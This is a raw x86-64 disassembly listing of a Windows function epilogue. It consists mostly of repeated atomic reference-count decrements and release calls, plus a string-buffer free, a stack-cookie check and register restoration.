mov eax, dword [rcx]
test eax, eax
je 0x14000b052
cmp eax, 0xffffffff
je 0x14000b061
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b061
mov rcx, qword [rbp + 0x478]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x468]
mov eax, dword [rcx]
test eax, eax
je 0x14000b08a
cmp eax, 0xffffffff
je 0x14000b099
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b099
mov rcx, qword [rbp + 0x468]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x460]
mov eax, dword [rcx]
test eax, eax
je 0x14000b0c2
cmp eax, 0xffffffff
je 0x14000b0d1
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b0d1
mov rcx, qword [rbp + 0x460]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x458]
mov eax, dword [rcx]
test eax, eax
je 0x14000b0fa
cmp eax, 0xffffffff
je 0x14000b109
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b109
mov rcx, qword [rbp + 0x458]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
lea rcx, [rbp + 0x570]
call fcn.140012be0
nop
mov rcx, qword [rbp + 0x450]
mov eax, dword [rcx]
test eax, eax
je 0x14000b13f
cmp eax, 0xffffffff
je 0x14000b14e
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b14e
mov rcx, qword [rbp + 0x450]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3b8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b177
cmp eax, 0xffffffff
je 0x14000b186
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b186
mov rcx, qword [rbp + 0x3b8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rax, qword [rbp + 0x520]
mov ecx, dword [rax]
test ecx, ecx
je 0x14000b1a8
cmp ecx, 0xffffffff
je 0x14000b1be
mov ecx, edi
lock xadd dword [rax], ecx
add ecx, 0xffffffff
setne al
test al, al
jne 0x14000b1be
mov edx, 2
lea r8d, [rdx + 6]
mov rcx, qword [rbp + 0x520]
call fcn.14002cd80
nop
mov rdx, qword [rbp + 0x380]
mov eax, dword [rdx]
test eax, eax
je 0x14000b1e7
cmp eax, 0xffffffff
je 0x14000b1f4
mov eax, edi
lock xadd dword [rdx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b1f4
mov rdx, qword [rbp + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140005110
nop
lea rcx, [rbp + 0x500]
call fcn.1400371e0
nop
mov rcx, qword [rbp + 0x4f8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b22a
cmp eax, 0xffffffff
je 0x14000b239
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b239
mov rcx, qword [rbp + 0x4f8]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x518]
mov eax, dword [rcx]
test eax, eax
je 0x14000b262
cmp eax, 0xffffffff
je 0x14000b271
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b271
mov rcx, qword [rbp + 0x518]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b29a
cmp eax, 0xffffffff
je 0x14000b2a9
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b2a9
mov rcx, qword [rbp + 0x3e8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4f0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b2d2
cmp eax, 0xffffffff
je 0x14000b2e1
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b2e1
mov rcx, qword [rbp + 0x4f0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x510]
mov eax, dword [rcx]
test eax, eax
je 0x14000b30a
cmp eax, 0xffffffff
je 0x14000b319
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b319
mov rcx, qword [rbp + 0x510]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4e8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b342
cmp eax, 0xffffffff
je 0x14000b351
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b351
mov rcx, qword [rbp + 0x4e8]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x540]
mov eax, dword [rcx]
test eax, eax
je 0x14000b37a
cmp eax, 0xffffffff
je 0x14000b389
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b389
mov rcx, qword [rbp + 0x540]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x390]
mov eax, dword [rcx]
test eax, eax
je 0x14000b3b2
cmp eax, 0xffffffff
je 0x14000b3c1
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b3c1
mov rcx, qword [rbp + 0x390]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3a0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b3ea
cmp eax, 0xffffffff
je 0x14000b3f9
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b3f9
mov rcx, qword [rbp + 0x3a0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4e0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b422
cmp eax, 0xffffffff
je 0x14000b431
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b431
mov rcx, qword [rbp + 0x4e0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4d8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b45a
cmp eax, 0xffffffff
je 0x14000b469
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b469
mov rcx, qword [rbp + 0x4d8]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
nop
mov rax, qword [rbp + 0x5b0]
cmp rax, 0x10
jb 0x14000b4c5
inc rax
mov rcx, qword [rbp + 0x598]
cmp rax, 0x1000
jb 0x14000b4c0
test cl, 0x1f
je 0x14000b493
call fcn.14010e940
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14000b4a2
call fcn.14010e940
int3
sub rcx, rax
cmp rcx, 8
jae 0x14000b4b1
call fcn.14010e940
int3
cmp rcx, 0x27
jbe 0x14000b4bd
call fcn.14010e940
int3
mov rcx, rax
call fcn.14010a1f0
mov qword [rbp + 0x5b0], 0xf
mov qword [rbp + 0x5a8], rsi
mov byte [rbp + 0x598], 0
mov rcx, qword [rbp + 0x4d0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b507
cmp eax, 0xffffffff
je 0x14000b516
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b516
mov rcx, qword [rbp + 0x4d0]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3e0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b53f
cmp eax, 0xffffffff
je 0x14000b54e
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b54e
mov rcx, qword [rbp + 0x3e0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4c8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b577
cmp eax, 0xffffffff
je 0x14000b586
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b586
mov rcx, qword [rbp + 0x4c8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4b0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b5af
cmp eax, 0xffffffff
je 0x14000b5be
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b5be
mov rcx, qword [rbp + 0x4b0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x378]
mov eax, dword [rcx]
test eax, eax
je 0x14000b5e7
cmp eax, 0xffffffff
je 0x14000b5f6
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b5f6
mov rcx, qword [rbp + 0x378]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4c0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b61f
cmp eax, 0xffffffff
je 0x14000b62e
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b62e
mov rcx, qword [rbp + 0x4c0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4b8]
mov eax, dword [rcx]
test eax, eax
je 0x14000b657
cmp eax, 0xffffffff
je 0x14000b666
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b666
mov rcx, qword [rbp + 0x4b8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rax, qword [rbp + 0x3d8]
mov ecx, dword [rax]
test ecx, ecx
je 0x14000b686
cmp ecx, 0xffffffff
je 0x14000b69c
lock xadd dword [rax], edi
add edi, 0xffffffff
setne cl
test cl, cl
jne 0x14000b69c
mov edx, 2
lea r8d, [rdx + 6]
mov rcx, qword [rbp + 0x3d8]
call fcn.14002cd80
nop
lea rcx, [rbp + 0x5b8]
call fcn.1400466e0
mov eax, ebx
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.14010a180
lea r11, [rsp + 0x740]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret